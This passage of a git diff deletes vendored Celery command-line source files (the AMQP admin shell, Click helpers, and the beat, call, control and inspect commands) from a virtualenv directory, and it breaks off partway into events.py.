self.cli_context.echo(self.cli_context.OK) - - def reconnect(self): - if self.connection: - self.connection.close() - else: - self.connection = self.cli_context.app.connection() - - self.cli_context.echo(f'-> connecting to {self.connection.as_uri()}.') - try: - self.connection.connect() - except (ConnectionRefusedError, ConnectionResetError) as e: - self.echo_error(e) - else: - self.cli_context.secho('-> connected.', fg='green', bold=True) - self.channel = self.connection.default_channel - - -@click.group(invoke_without_command=True) -@click.pass_context -@handle_preload_options -def amqp(ctx): - """AMQP Administration Shell. - - Also works for non-AMQP transports (but not ones that - store declarations in memory). - """ - if not isinstance(ctx.obj, AMQPContext): - ctx.obj = AMQPContext(ctx.obj) - - -@amqp.command(name='exchange.declare') -@click.argument('exchange', - type=str) -@click.argument('type', - type=str) -@click.argument('passive', - type=bool, - default=False) -@click.argument('durable', - type=bool, - default=False) -@click.argument('auto_delete', - type=bool, - default=False) -@click.pass_obj -def exchange_declare(amqp_context, exchange, type, passive, durable, - auto_delete): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - amqp_context.channel.exchange_declare(exchange=exchange, - type=type, - passive=passive, - durable=durable, - auto_delete=auto_delete) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -@amqp.command(name='exchange.delete') -@click.argument('exchange', - type=str) -@click.argument('if_unused', - type=bool) -@click.pass_obj -def exchange_delete(amqp_context, exchange, if_unused): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - amqp_context.channel.exchange_delete(exchange=exchange, - if_unused=if_unused) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -@amqp.command(name='queue.bind') -@click.argument('queue', - type=str) -@click.argument('exchange', - type=str) -@click.argument('routing_key', - type=str) -@click.pass_obj -def queue_bind(amqp_context, queue, exchange, routing_key): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - amqp_context.channel.queue_bind(queue=queue, - exchange=exchange, - routing_key=routing_key) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -@amqp.command(name='queue.declare') -@click.argument('queue', - type=str) -@click.argument('passive', - type=bool, - default=False) -@click.argument('durable', - type=bool, - default=False) -@click.argument('auto_delete', - type=bool, - default=False) -@click.pass_obj -def queue_declare(amqp_context, queue, passive, durable, auto_delete): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - retval = amqp_context.channel.queue_declare(queue=queue, - passive=passive, - durable=durable, - auto_delete=auto_delete) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.cli_context.secho( - 'queue:{} messages:{} consumers:{}'.format(*retval), - fg='cyan', bold=True) - amqp_context.echo_ok() - - -@amqp.command(name='queue.delete') -@click.argument('queue', - type=str) -@click.argument('if_unused', - type=bool, - default=False) -@click.argument('if_empty', - type=bool, - default=False) -@click.pass_obj -def queue_delete(amqp_context, queue, if_unused, if_empty): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - retval = amqp_context.channel.queue_delete(queue=queue, - if_unused=if_unused, - if_empty=if_empty) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.cli_context.secho( - f'{retval} messages deleted.', - fg='cyan', bold=True) - amqp_context.echo_ok() - - -@amqp.command(name='queue.purge') -@click.argument('queue', - type=str) -@click.pass_obj -def queue_purge(amqp_context, queue): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - retval = amqp_context.channel.queue_purge(queue=queue) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.cli_context.secho( - f'{retval} messages deleted.', - fg='cyan', bold=True) - amqp_context.echo_ok() - - -@amqp.command(name='basic.get') -@click.argument('queue', - type=str) -@click.argument('no_ack', - type=bool, - default=False) -@click.pass_obj -def basic_get(amqp_context, queue, no_ack): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - message = amqp_context.channel.basic_get(queue, no_ack=no_ack) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.respond(dump_message(message)) - amqp_context.echo_ok() - - -@amqp.command(name='basic.publish') -@click.argument('msg', - type=str) -@click.argument('exchange', - type=str) -@click.argument('routing_key', - type=str) -@click.argument('mandatory', - type=bool, - default=False) -@click.argument('immediate', - type=bool, - default=False) -@click.pass_obj -def basic_publish(amqp_context, msg, exchange, routing_key, mandatory, - immediate): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - # XXX Hack to fix Issue #2013 - if isinstance(amqp_context.connection.connection, Connection): - msg = Message(msg) - try: - amqp_context.channel.basic_publish(msg, - exchange=exchange, - routing_key=routing_key, - mandatory=mandatory, - immediate=immediate) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -@amqp.command(name='basic.ack') -@click.argument('delivery_tag', - type=int) -@click.pass_obj -def basic_ack(amqp_context, delivery_tag): - if amqp_context.channel is None: - amqp_context.echo_error('Not connected to broker. Please retry...') - amqp_context.reconnect() - else: - try: - amqp_context.channel.basic_ack(delivery_tag) - except Exception as e: - amqp_context.echo_error(e) - amqp_context.reconnect() - else: - amqp_context.echo_ok() - - -register_repl(amqp) diff --git a/venv/Lib/site-packages/celery/bin/base.py b/venv/Lib/site-packages/celery/bin/base.py deleted file mode 100644 index be3999236bc5956e52cd67fd0015a6b23acb64eb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/base.py +++ /dev/null @@ -1,329 +0,0 @@ -"""Click customizations for Celery.""" -import json -import numbers -from collections import OrderedDict -from functools import update_wrapper -from pprint import pformat -from typing import Any - -import click -from click import Context, ParamType -from kombu.exceptions import OperationalError -from kombu.utils.objects import cached_property - -from celery._state import get_current_app -from celery.exceptions import CeleryCommandException -from celery.platforms import EX_UNAVAILABLE -from celery.signals import user_preload_options -from celery.utils import text -from celery.utils.log import mlevel -from celery.utils.time import maybe_iso8601 - -try: - from pygments import highlight - from pygments.formatters import Terminal256Formatter - from pygments.lexers import PythonLexer -except ImportError: - def highlight(s, *args, **kwargs): - """Place holder function in case pygments is missing.""" - return s - LEXER = None - FORMATTER = None -else: - LEXER = PythonLexer() - FORMATTER = Terminal256Formatter() - - -class CLIContext: - """Context Object for the CLI.""" - - def __init__(self, app, no_color, workdir, quiet=False): - """Initialize the CLI context.""" - self.app = app or get_current_app() - self.no_color = no_color - self.quiet = quiet - self.workdir = workdir - - @cached_property - def OK(self): - return self.style("OK", fg="green", bold=True) - - @cached_property - def ERROR(self): - return self.style("ERROR", fg="red", bold=True) - - def style(self, message=None, **kwargs): - if self.no_color: - return message - else: - return click.style(message, **kwargs) - - def secho(self, message=None, **kwargs): - if self.no_color: - kwargs['color'] = False - click.echo(message, **kwargs) - else: - click.secho(message, **kwargs) - - def echo(self, message=None, **kwargs): - if self.no_color: - kwargs['color'] = False - click.echo(message, **kwargs) - else: - click.echo(message, **kwargs) - - def error(self, message=None, **kwargs): - kwargs['err'] = True - if self.no_color: - kwargs['color'] = False - click.echo(message, **kwargs) - else: - click.secho(message, **kwargs) - - def pretty(self, n): - if isinstance(n, list): - return self.OK, self.pretty_list(n) - if isinstance(n, dict): - if 'ok' in n or 'error' in n: - return self.pretty_dict_ok_error(n) - else: - s = json.dumps(n, sort_keys=True, indent=4) - if not self.no_color: - s = highlight(s, LEXER, FORMATTER) - return self.OK, s - if isinstance(n, str): - return self.OK, n - return self.OK, pformat(n) - - def pretty_list(self, n): - if not n: - return '- empty -' - return '\n'.join( - f'{self.style("*", fg="white")} {item}' for item in n - ) - - def pretty_dict_ok_error(self, n): - try: - return (self.OK, - text.indent(self.pretty(n['ok'])[1], 4)) - except KeyError: - pass - return (self.ERROR, - text.indent(self.pretty(n['error'])[1], 4)) - - def say_chat(self, direction, title, body='', show_body=False): - if direction == '<-' and self.quiet: - return - dirstr = not self.quiet and f'{self.style(direction, fg="white", bold=True)} ' or '' - self.echo(f'{dirstr} {title}') - if body and show_body: - self.echo(body) - - -def handle_remote_command_error(command: str, exc: Exception) -> None: - if isinstance(exc, click.ClickException): - raise - - if isinstance(exc, OperationalError): - raise CeleryCommandException( - message=( - 'Could not connect to the message broker. ' - 'Please make sure your broker (e.g., RabbitMQ or Redis) is running and ' - f'the connection settings are correct. Reason: {exc}' - ), - exit_code=EX_UNAVAILABLE, - ) from exc - - raise CeleryCommandException( - message=f'Unable to run the `{command}` command. Reason: {exc}', - exit_code=EX_UNAVAILABLE, - ) from exc - - -def handle_preload_options(f): - """Extract preload options and return a wrapped callable.""" - def caller(ctx, *args, **kwargs): - app = ctx.obj.app - - preload_options = [o.name for o in app.user_options.get('preload', [])] - - if preload_options: - user_options = { - preload_option: kwargs[preload_option] - for preload_option in preload_options - } - - user_preload_options.send(sender=f, app=app, options=user_options) - - return f(ctx, *args, **kwargs) - - return update_wrapper(caller, f) - - -class CeleryOption(click.Option): - """Customized option for Celery.""" - - def get_default(self, ctx, *args, **kwargs): - if self.default_value_from_context: - self.default = ctx.obj[self.default_value_from_context] - return super().get_default(ctx, *args, **kwargs) - - def __init__(self, *args, **kwargs): - """Initialize a Celery option.""" - self.help_group = kwargs.pop('help_group', None) - self.default_value_from_context = kwargs.pop('default_value_from_context', None) - super().__init__(*args, **kwargs) - - -class CeleryCommand(click.Command): - """Customized command for Celery.""" - - def format_options(self, ctx, formatter): - """Write all the options into the formatter if they exist.""" - opts = OrderedDict() - for param in self.get_params(ctx): - rv = param.get_help_record(ctx) - if rv is not None: - if hasattr(param, 'help_group') and param.help_group: - opts.setdefault(str(param.help_group), []).append(rv) - else: - opts.setdefault('Options', []).append(rv) - - for name, opts_group in opts.items(): - with formatter.section(name): - formatter.write_dl(opts_group) - - -class DaemonOption(CeleryOption): - """Common daemonization option""" - - def __init__(self, *args, **kwargs): - super().__init__(args, - help_group=kwargs.pop("help_group", "Daemonization Options"), - callback=kwargs.pop("callback", self.daemon_setting), - **kwargs) - - def daemon_setting(self, ctx: Context, opt: CeleryOption, value: Any) -> Any: - """ - Try to fetch daemonization option from applications settings. - Use the daemon command name as prefix (eg. `worker` -> `worker_pidfile`) - """ - return value or getattr(ctx.obj.app.conf, f"{ctx.command.name}_{self.name}", None) - - -class CeleryDaemonCommand(CeleryCommand): - """Daemon commands.""" - - def __init__(self, *args, **kwargs): - """Initialize a Celery command with common daemon options.""" - super().__init__(*args, **kwargs) - self.params.extend(( - DaemonOption("--logfile", "-f", help="Log destination; defaults to stderr"), - DaemonOption("--pidfile", help="PID file path; defaults to no PID file"), - DaemonOption("--uid", help="Drops privileges to this user ID"), - DaemonOption("--gid", help="Drops privileges to this group ID"), - DaemonOption("--umask", help="Create files and directories with this umask"), - DaemonOption("--executable", help="Override path to the Python executable"), - )) - - -class CommaSeparatedList(ParamType): - """Comma separated list argument.""" - - name = "comma separated list" - - def convert(self, value, param, ctx): - return text.str_to_list(value) - - -class JsonArray(ParamType): - """JSON formatted array argument.""" - - name = "json array" - - def convert(self, value, param, ctx): - if isinstance(value, list): - return value - - try: - v = json.loads(value) - except ValueError as e: - self.fail(str(e)) - - if not isinstance(v, list): - self.fail(f"{value} was not an array") - - return v - - -class JsonObject(ParamType): - """JSON formatted object argument.""" - - name = "json object" - - def convert(self, value, param, ctx): - if isinstance(value, dict): - return value - - try: - v = json.loads(value) - except ValueError as e: - self.fail(str(e)) - - if not isinstance(v, dict): - self.fail(f"{value} was not an object") - - return v - - -class ISO8601DateTime(ParamType): - """ISO 8601 Date Time argument.""" - - name = "iso-86091" - - def convert(self, value, param, ctx): - try: - return maybe_iso8601(value) - except (TypeError, ValueError) as e: - self.fail(e) - - -class ISO8601DateTimeOrFloat(ParamType): - """ISO 8601 Date Time or float argument.""" - - name = "iso-86091 or float" - - def convert(self, value, param, ctx): - try: - return float(value) - except (TypeError, ValueError): - pass - - try: - return maybe_iso8601(value) - except (TypeError, ValueError) as e: - self.fail(e) - - -class LogLevel(click.Choice): - """Log level option.""" - - def __init__(self): - """Initialize the log level option with the relevant choices.""" - super().__init__(('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', 'FATAL')) - - def convert(self, value, param, ctx): - if isinstance(value, numbers.Integral): - return value - - value = value.upper() - value = super().convert(value, param, ctx) - return mlevel(value) - - -JSON_ARRAY = JsonArray() -JSON_OBJECT = JsonObject() -ISO8601 = ISO8601DateTime() -ISO8601_OR_FLOAT = ISO8601DateTimeOrFloat() -LOG_LEVEL = LogLevel() -COMMA_SEPARATED_LIST = CommaSeparatedList() diff --git a/venv/Lib/site-packages/celery/bin/beat.py b/venv/Lib/site-packages/celery/bin/beat.py deleted file mode 100644 index c8a8a499b51ccb99c942b09adb21db1af8510bba..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/beat.py +++ /dev/null @@ -1,72 +0,0 @@ -"""The :program:`celery beat` command.""" -from functools import partial - -import click - -from celery.bin.base import LOG_LEVEL, CeleryDaemonCommand, CeleryOption, handle_preload_options -from celery.platforms import detached, maybe_drop_privileges - - -@click.command(cls=CeleryDaemonCommand, context_settings={ - 'allow_extra_args': True -}) -@click.option('--detach', - cls=CeleryOption, - is_flag=True, - default=False, - help_group="Beat Options", - help="Detach and run in the background as a daemon.") -@click.option('-s', - '--schedule', - cls=CeleryOption, - callback=lambda ctx, _, value: value or ctx.obj.app.conf.beat_schedule_filename, - help_group="Beat Options", - help="Path to the schedule database." - " Defaults to `celerybeat-schedule`." - "The extension '.db' may be appended to the filename.") -@click.option('-S', - '--scheduler', - cls=CeleryOption, - callback=lambda ctx, _, value: value or ctx.obj.app.conf.beat_scheduler, - help_group="Beat Options", - help="Scheduler class to use.") -@click.option('--max-interval', - cls=CeleryOption, - type=int, - help_group="Beat Options", - help="Max seconds to sleep between schedule iterations.") -@click.option('-l', - '--loglevel', - default='WARNING', - cls=CeleryOption, - type=LOG_LEVEL, - help_group="Beat Options", - help="Logging level.") -@click.pass_context -@handle_preload_options -def beat(ctx, detach=False, logfile=None, pidfile=None, uid=None, - gid=None, umask=None, workdir=None, **kwargs): - """Start the beat periodic task scheduler.""" - app = ctx.obj.app - - if ctx.args: - try: - app.config_from_cmdline(ctx.args) - except (KeyError, ValueError) as e: - # TODO: Improve the error messages - raise click.UsageError("Unable to parse extra configuration" - " from command line.\n" - f"Reason: {e}", ctx=ctx) - - if not detach: - maybe_drop_privileges(uid=uid, gid=gid) - - beat = partial(app.Beat, - logfile=logfile, pidfile=pidfile, - quiet=ctx.obj.quiet, **kwargs) - - if detach: - with detached(logfile, pidfile, uid, gid, umask, workdir): - return beat().run() - else: - return beat().run() diff --git a/venv/Lib/site-packages/celery/bin/call.py b/venv/Lib/site-packages/celery/bin/call.py deleted file mode 100644 index b1df9502891fcbffd6a09cecce12fb788935a8ee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/call.py +++ /dev/null @@ -1,71 +0,0 @@ -"""The ``celery call`` program used to send tasks from the command-line.""" -import click - -from celery.bin.base import (ISO8601, ISO8601_OR_FLOAT, JSON_ARRAY, JSON_OBJECT, CeleryCommand, CeleryOption, - handle_preload_options) - - -@click.command(cls=CeleryCommand) -@click.argument('name') -@click.option('-a', - '--args', - cls=CeleryOption, - type=JSON_ARRAY, - default='[]', - help_group="Calling Options", - help="Positional arguments.") -@click.option('-k', - '--kwargs', - cls=CeleryOption, - type=JSON_OBJECT, - default='{}', - help_group="Calling Options", - help="Keyword arguments.") -@click.option('--eta', - cls=CeleryOption, - type=ISO8601, - help_group="Calling Options", - help="scheduled time.") -@click.option('--countdown', - cls=CeleryOption, - type=float, - help_group="Calling Options", - help="eta in seconds from now.") -@click.option('--expires', - cls=CeleryOption, - type=ISO8601_OR_FLOAT, - help_group="Calling Options", - help="expiry time.") -@click.option('--serializer', - cls=CeleryOption, - default='json', - help_group="Calling Options", - help="task serializer.") -@click.option('--queue', - cls=CeleryOption, - help_group="Routing Options", - help="custom queue name.") -@click.option('--exchange', - cls=CeleryOption, - help_group="Routing Options", - help="custom exchange name.") -@click.option('--routing-key', - cls=CeleryOption, - help_group="Routing Options", - help="custom routing key.") -@click.pass_context -@handle_preload_options -def call(ctx, name, args, kwargs, eta, countdown, expires, serializer, queue, exchange, routing_key): - """Call a task by name.""" - task_id = ctx.obj.app.send_task( - name, - args=args, kwargs=kwargs, - countdown=countdown, - serializer=serializer, - queue=queue, - exchange=exchange, - routing_key=routing_key, - eta=eta, - expires=expires - ).id - ctx.obj.echo(task_id) diff --git a/venv/Lib/site-packages/celery/bin/celery.py b/venv/Lib/site-packages/celery/bin/celery.py deleted file mode 100644 index e1fae1a7761de42bd2d584cbad0997d065418baf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/celery.py +++ /dev/null @@ -1,227 +0,0 @@ -"""Celery Command Line Interface.""" -import os -import pathlib -import sys -import traceback -from importlib.metadata import entry_points - -import click -import click.exceptions -from click_didyoumean import DYMGroup -from click_plugins import with_plugins - -from celery import VERSION_BANNER -from celery.app.utils import find_app -from celery.bin.amqp import amqp -from celery.bin.base import CeleryCommand, CeleryOption, CLIContext -from celery.bin.beat import beat -from celery.bin.call import call -from celery.bin.control import control, inspect, status -from celery.bin.events import events -from celery.bin.graph import graph -from celery.bin.list import list_ -from celery.bin.logtool import logtool -from celery.bin.migrate import migrate -from celery.bin.multi import multi -from celery.bin.purge import purge -from celery.bin.result import result -from celery.bin.shell import shell -from celery.bin.upgrade import upgrade -from celery.bin.worker import worker - -UNABLE_TO_LOAD_APP_MODULE_NOT_FOUND = click.style(""" -Unable to load celery application. -The module {0} was not found.""", fg='red') - -UNABLE_TO_LOAD_APP_ERROR_OCCURRED = click.style(""" -Unable to load celery application. -While trying to load the module {0} the following error occurred: -{1}""", fg='red') - -UNABLE_TO_LOAD_APP_APP_MISSING = click.style(""" -Unable to load celery application. -{0}""") - - -if sys.version_info >= (3, 10): - _PLUGINS = entry_points(group='celery.commands') -else: - try: - _PLUGINS = entry_points().get('celery.commands', []) - except AttributeError: - _PLUGINS = entry_points().select(group='celery.commands') - - -@with_plugins(_PLUGINS) -@click.group(cls=DYMGroup, invoke_without_command=True) -@click.option('-A', - '--app', - envvar='APP', - cls=CeleryOption, - # May take either: a str when invoked from command line (Click), - # or a Celery object when invoked from inside Celery; hence the - # need to prevent Click from "processing" the Celery object and - # converting it into its str representation. - type=click.UNPROCESSED, - help_group="Global Options") -@click.option('-b', - '--broker', - envvar='BROKER_URL', - cls=CeleryOption, - help_group="Global Options") -@click.option('--result-backend', - envvar='RESULT_BACKEND', - cls=CeleryOption, - help_group="Global Options") -@click.option('--loader', - envvar='LOADER', - cls=CeleryOption, - help_group="Global Options") -@click.option('--config', - envvar='CONFIG_MODULE', - cls=CeleryOption, - help_group="Global Options") -@click.option('--workdir', - cls=CeleryOption, - type=pathlib.Path, - callback=lambda _, __, wd: os.chdir(wd) if wd else None, - is_eager=True, - help_group="Global Options") -@click.option('-C', - '--no-color', - envvar='NO_COLOR', - is_flag=True, - cls=CeleryOption, - help_group="Global Options") -@click.option('-q', - '--quiet', - is_flag=True, - cls=CeleryOption, - help_group="Global Options") -@click.option('--version', - cls=CeleryOption, - is_flag=True, - help_group="Global Options") -@click.option('--skip-checks', - envvar='SKIP_CHECKS', - cls=CeleryOption, - is_flag=True, - help_group="Global Options", - help="Skip Django core checks on startup. Setting the SKIP_CHECKS environment " - "variable to any non-empty string will have the same effect.") -@click.pass_context -def celery(ctx, app, broker, result_backend, loader, config, workdir, - no_color, quiet, version, skip_checks): - """Celery command entrypoint.""" - if version: - click.echo(VERSION_BANNER) - ctx.exit() - elif ctx.invoked_subcommand is None: - click.echo(ctx.get_help()) - ctx.exit() - - if loader: - # Default app takes loader from this env (Issue #1066). - os.environ['CELERY_LOADER'] = loader - if broker: - os.environ['CELERY_BROKER_URL'] = broker - if result_backend: - os.environ['CELERY_RESULT_BACKEND'] = result_backend - if config: - os.environ['CELERY_CONFIG_MODULE'] = config - if skip_checks: - os.environ['CELERY_SKIP_CHECKS'] = 'true' - - if isinstance(app, str): - try: - app = find_app(app) - except ModuleNotFoundError as e: - if e.name != app: - exc = traceback.format_exc() - ctx.fail( - UNABLE_TO_LOAD_APP_ERROR_OCCURRED.format(app, exc) - ) - ctx.fail(UNABLE_TO_LOAD_APP_MODULE_NOT_FOUND.format(e.name)) - except AttributeError as e: - attribute_name = e.args[0].capitalize() - ctx.fail(UNABLE_TO_LOAD_APP_APP_MISSING.format(attribute_name)) - except Exception: - exc = traceback.format_exc() - ctx.fail( - UNABLE_TO_LOAD_APP_ERROR_OCCURRED.format(app, exc) - ) - - ctx.obj = CLIContext(app=app, no_color=no_color, workdir=workdir, - quiet=quiet) - - # User options - worker.params.extend(ctx.obj.app.user_options.get('worker', [])) - beat.params.extend(ctx.obj.app.user_options.get('beat', [])) - events.params.extend(ctx.obj.app.user_options.get('events', [])) - - for command in celery.commands.values(): - command.params.extend(ctx.obj.app.user_options.get('preload', [])) - - -@celery.command(cls=CeleryCommand) -@click.pass_context -def report(ctx, **kwargs): - """Shows information useful to include in bug-reports.""" - app = ctx.obj.app - app.loader.import_default_modules() - ctx.obj.echo(app.bugreport()) - - -celery.add_command(purge) -celery.add_command(call) -celery.add_command(beat) -celery.add_command(list_) -celery.add_command(result) -celery.add_command(migrate) -celery.add_command(status) -celery.add_command(worker) -celery.add_command(events) -celery.add_command(inspect) -celery.add_command(control) -celery.add_command(graph) -celery.add_command(upgrade) -celery.add_command(logtool) -celery.add_command(amqp) -celery.add_command(shell) -celery.add_command(multi) - -# Monkey-patch click to display a custom error -# when -A or --app are used as sub-command options instead of as options -# of the global command. - -previous_show_implementation = click.exceptions.NoSuchOption.show - -WRONG_APP_OPTION_USAGE_MESSAGE = """You are using `{option_name}` as an option of the {info_name} sub-command: -celery {info_name} {option_name} celeryapp <...> - -The support for this usage was removed in Celery 5.0. Instead you should use `{option_name}` as a global option: -celery {option_name} celeryapp {info_name} <...>""" - - -def _show(self, file=None): - if self.option_name in ('-A', '--app'): - self.ctx.obj.error( - WRONG_APP_OPTION_USAGE_MESSAGE.format( - option_name=self.option_name, - info_name=self.ctx.info_name), - fg='red' - ) - previous_show_implementation(self, file=file) - - -click.exceptions.NoSuchOption.show = _show - - -def main() -> int: - """Start celery umbrella command. - - This function is the main entrypoint for the CLI. - - :return: The exit code of the CLI. - """ - return celery(auto_envvar_prefix="CELERY") diff --git a/venv/Lib/site-packages/celery/bin/control.py b/venv/Lib/site-packages/celery/bin/control.py deleted file mode 100644 index 48681a9f28eaa0951fb95be3e700f9081324f738..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/control.py +++ /dev/null @@ -1,262 +0,0 @@ -"""The ``celery control``, ``. inspect`` and ``. status`` programs.""" -from functools import partial -from typing import Literal - -import click -from kombu.utils.json import dumps - -from celery.bin.base import (COMMA_SEPARATED_LIST, CeleryCommand, CeleryOption, handle_preload_options, - handle_remote_command_error) -from celery.exceptions import CeleryCommandException -from celery.platforms import EX_UNAVAILABLE -from celery.utils import text -from celery.worker.control import Panel - - -def _say_remote_command_reply(ctx, replies, show_reply=False): - node = next(iter(replies)) # <-- take first. - reply = replies[node] - node = ctx.obj.style(f'{node}: ', fg='cyan', bold=True) - status, preply = ctx.obj.pretty(reply) - ctx.obj.say_chat('->', f'{node}{status}', - text.indent(preply, 4) if show_reply else '', - show_body=show_reply) - - -def _consume_arguments(meta, method, args): - i = 0 - try: - for i, arg in enumerate(args): - try: - name, typ = meta.args[i] - except IndexError: - if meta.variadic: - break - raise click.UsageError( - 'Command {!r} takes arguments: {}'.format( - method, meta.signature)) - else: - yield name, typ(arg) if typ is not None else arg - finally: - args[:] = args[i:] - - -def _compile_arguments(command, args): - meta = Panel.meta[command] - arguments = {} - if meta.args: - arguments.update({ - k: v for k, v in _consume_arguments(meta, command, args) - }) - if meta.variadic: - arguments.update({meta.variadic: args}) - return arguments - - -_RemoteControlType = Literal['inspect', 'control'] - - -def _verify_command_name(type_: _RemoteControlType, command: str) -> None: - choices = _get_commands_of_type(type_) - - if command not in choices: - command_listing = ", ".join(choices) - raise click.UsageError( - message=f'Command {command} not recognized. Available {type_} commands: {command_listing}', - ) - - -def _list_option(type_: _RemoteControlType): - def callback(ctx: click.Context, param, value) -> None: - if not value: - return - choices = _get_commands_of_type(type_) - - formatter = click.HelpFormatter() - - with formatter.section(f'{type_.capitalize()} Commands'): - command_list = [] - for command_name, info in choices.items(): - if info.signature: - command_preview = f'{command_name} {info.signature}' - else: - command_preview = command_name - command_list.append((command_preview, info.help)) - formatter.write_dl(command_list) - ctx.obj.echo(formatter.getvalue(), nl=False) - ctx.exit() - - return click.option( - '--list', - is_flag=True, - help=f'List available {type_} commands and exit.', - expose_value=False, - is_eager=True, - callback=callback, - ) - - -def _get_commands_of_type(type_: _RemoteControlType) -> dict: - command_name_info_pairs = [ - (name, info) for name, info in Panel.meta.items() - if info.type == type_ and info.visible - ] - return dict(sorted(command_name_info_pairs)) - - -@click.command(cls=CeleryCommand) -@click.option('-t', - '--timeout', - cls=CeleryOption, - type=float, - default=1.0, - help_group='Remote Control Options', - help='Timeout in seconds waiting for reply.') -@click.option('-d', - '--destination', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Remote Control Options', - help='Comma separated list of destination node names.') -@click.option('-j', - '--json', - cls=CeleryOption, - is_flag=True, - help_group='Remote Control Options', - help='Use json as output format.') -@click.pass_context -@handle_preload_options -def status(ctx, timeout, destination, json, **kwargs): - """Show list of workers that are online.""" - callback = None if json else partial(_say_remote_command_reply, ctx) - try: - replies = ctx.obj.app.control.inspect(timeout=timeout, - destination=destination, - callback=callback).ping() - except Exception as exc: - handle_remote_command_error('status', exc) - - if not replies: - raise CeleryCommandException( - message='No nodes replied within time constraint', - exit_code=EX_UNAVAILABLE - ) - - if json: - ctx.obj.echo(dumps(replies)) - nodecount = len(replies) - if not kwargs.get('quiet', False): - ctx.obj.echo('\n{} {} online.'.format( - nodecount, text.pluralize(nodecount, 'node'))) - - -@click.command(cls=CeleryCommand, - context_settings={'allow_extra_args': True}) -@click.argument('command') -@_list_option('inspect') -@click.option('-t', - '--timeout', - cls=CeleryOption, - type=float, - default=1.0, - help_group='Remote Control Options', - help='Timeout in seconds waiting for reply.') -@click.option('-d', - '--destination', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Remote Control Options', - help='Comma separated list of destination node names.') -@click.option('-j', - '--json', - cls=CeleryOption, - is_flag=True, - help_group='Remote Control Options', - help='Use json as output format.') -@click.pass_context -@handle_preload_options -def inspect(ctx, command, timeout, destination, json, **kwargs): - """Inspect the workers by sending them the COMMAND inspect command. - - Availability: RabbitMQ (AMQP) and Redis transports. - """ - _verify_command_name('inspect', command) - callback = None if json else partial(_say_remote_command_reply, ctx, - show_reply=True) - arguments = _compile_arguments(command, ctx.args) - inspect = ctx.obj.app.control.inspect(timeout=timeout, - destination=destination, - callback=callback) - try: - replies = inspect._request(command, **arguments) - except Exception as exc: - handle_remote_command_error(f'inspect {command}', exc) - - if not replies: - raise CeleryCommandException( - message='No nodes replied within time constraint', - exit_code=EX_UNAVAILABLE - ) - - if json: - ctx.obj.echo(dumps(replies)) - return - - nodecount = len(replies) - if not ctx.obj.quiet: - ctx.obj.echo('\n{} {} online.'.format( - nodecount, text.pluralize(nodecount, 'node'))) - - -@click.command(cls=CeleryCommand, - context_settings={'allow_extra_args': True}) -@click.argument('command') -@_list_option('control') -@click.option('-t', - '--timeout', - cls=CeleryOption, - type=float, - default=1.0, - help_group='Remote Control Options', - help='Timeout in seconds waiting for reply.') -@click.option('-d', - '--destination', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Remote Control Options', - help='Comma separated list of destination node names.') -@click.option('-j', - '--json', - cls=CeleryOption, - is_flag=True, - help_group='Remote Control Options', - help='Use json as output format.') -@click.pass_context -@handle_preload_options -def control(ctx, command, timeout, destination, json): - """Send the COMMAND control command to the workers. - - Availability: RabbitMQ (AMQP), Redis, and MongoDB transports. - """ - _verify_command_name('control', command) - callback = None if json else partial(_say_remote_command_reply, ctx, - show_reply=True) - args = ctx.args - arguments = _compile_arguments(command, args) - try: - replies = ctx.obj.app.control.broadcast(command, timeout=timeout, - destination=destination, - callback=callback, - reply=True, - arguments=arguments) - except Exception as exc: - handle_remote_command_error(f'control {command}', exc) - - if not replies: - raise CeleryCommandException( - message='No nodes replied within time constraint', - exit_code=EX_UNAVAILABLE - ) - - if json: - ctx.obj.echo(dumps(replies)) diff --git a/venv/Lib/site-packages/celery/bin/events.py b/venv/Lib/site-packages/celery/bin/events.py deleted file mode 100644 index c69f4ae75520c581a6ddef41aa6169025cd35861..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/events.py +++ /dev/null @@ -1,98 +0,0 @@ -"""The ``celery events`` program.""" -import sys -from functools import partial - -import click - -from celery.bin.base import (LOG_LEVEL, CeleryDaemonCommand, CeleryOption, handle_preload_options, - handle_remote_command_error) -from celery.platforms import detached, set_process_title, strargv - - -def _set_process_status(prog, info=''): - prog = '{}:{}'.format('celery events', prog) - info = f'{info} {strargv(sys.argv)}' - return set_process_title(prog, info=info) - - -def _run_evdump(app): - from celery.events.dumper import evdump - _set_process_status('dump') - return evdump(app=app) - - -def 